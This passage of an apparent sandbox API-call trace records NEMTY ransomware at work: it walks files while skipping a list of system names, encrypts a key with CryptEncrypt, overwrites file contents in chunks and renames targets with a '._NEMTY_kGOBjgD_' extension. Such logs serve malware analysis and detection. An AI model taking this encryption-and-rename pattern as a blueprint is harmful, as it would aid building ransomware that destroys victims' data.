lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.578] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.587] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.588] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.597] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.597] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634fc48 | out: hHeap=0x4f90000) returned 1 [0098.620] CloseHandle (hObject=0xffffffff) returned 0 [0098.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0098.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0098.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0098.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0098.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0098.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0098.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0098.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0098.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0098.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0098.620] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui._nemty_kgobjgd_")) returned 0 [0098.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0098.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0098.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0098.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0098.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0098.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0098.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0098.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0098.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0098.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.621] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe647cb96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe647cb96, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe45e4000, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2=".") returned 1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="..") returned 1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="...") returned 1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="windows") returned -1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="rsa") returned -1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="NTDETECT.COM") returned -1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="ntldr") returned -1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="MSDOS.SYS") returned -1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="IO.SYS") returned -1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="boot.ini") returned 1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="boot.ini") returned 1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="ntuser.dat") returned -1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="desktop.ini") returned 1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="CONFIG.SYS") returned 1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="RECYCLER") returned -1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="bootmgr") returned 1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="programdata") returned -1 [0098.621] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="appdata") returned 1 [0098.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0098.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iexplore.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0098.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0098.622] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0098.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.622] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iexplore.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0098.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0098.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.622] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0098.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.622] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iexplore.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0098.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.622] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0098.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0098.622] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iexplore.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iexplore.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0098.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0098.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0098.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0098.622] Sleep (dwMilliseconds=0x5) [0098.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xee705ad0, dwHighDateTime=0x1d561e7)) [0098.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xee705ad0, dwHighDateTime=0x1d561e7)) [0098.637] GetLastError () returned 0x5 [0098.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0098.637] GetLastError () returned 0x5 [0098.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0098.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0098.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0098.637] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0098.637] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0098.637] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0098.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0098.637] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="GmcXN8HuiiDJBHX166bqVh+AgIkLOv4lczDfXDCF+eZ5x75akeg2BorGwO/T2iox\r\n8Zwb+hPvJcYXr3CAziMtohtatjB93cfWgVTOZx8vwCuG08HpGsc+U8Z3+NbpkkDh\r\nuSv1ulB+++vh3x5+CLbE9Om9gUJFW+j9YjrY60lBoFLljDcCwWEzc/quQduyEDCy\r\nH8bAKMrxfde/8hGIs8nJfduNXCJB6ByGk7BB6fW9kbP7GGIMK7Z2OdNJsdKB3ZI0\r\nXYqf+3VF4HaoOfgjzCAVal50kebOV0lpaUpN3SngJFw5UprTdcsJcCF7J0aEHmTn\r\nYqWUdDTiCdOkyKLFYQC9gw==\r\n", pcchString=0x653ef9c) returned 1 [0098.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0098.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0098.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0098.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0098.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0098.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0098.637] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0098.637] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0098.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634fc48 [0098.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.638] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.647] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.647] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.656] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.656] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.666] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.666] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.703] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.722] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, 